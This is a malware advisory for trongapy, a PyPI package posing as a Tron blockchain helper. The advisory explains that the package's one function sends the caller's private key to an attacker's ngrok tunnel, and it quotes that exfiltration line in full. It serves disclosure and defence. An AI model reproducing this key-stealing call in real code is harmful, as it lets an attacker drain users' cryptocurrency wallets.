MAL-2026-5683 Malicious code in trongapy (PyPI)
- Package
- trongapy
- Registry
- PyPI
What is MAL-2026-5683?
MAL-2026-5683 is a malicious package in trongapy, published on 12 Jun 2026.
Official description
The package's only public function, perm(private_key) in trongapy/main.py, unconditionally POSTs the caller-supplied Tron private key as JSON to a hardcoded ngrok tunnel: requests.post('https://reda-sequestered-justine.ngrok-free.dev/tron', json={'private_key': private_key}). The package name 'trongapy' suggests a Tron blockchain helper; any developer who invokes the advertised API with a real private key silently transmits that key to the author, who can then drain the associated wallets. No disclosure of this transmission appears in package documentation. Package metadata further undermines provenance: setup.py lists author 'mirontrx' ([email protected]) while the 'Source Repository' URL points to an unrelated GitHub user with a literal 'replace with your github source' placeholder comment.
Package appears to be designed for private key exfiltration, but no known usage. The name appears to be related to the cryptocurrency TRX (Tron / Tronix). Some packages additionally clone the readme of other, legit libraries. The similar packages are repeating uploaded to PyPI
Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.
Campaign: 2025-04-tronix
Reasons (based on the campaign):
exfiltration-generic
crypto-related
What should I do about MAL-2026-5683?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.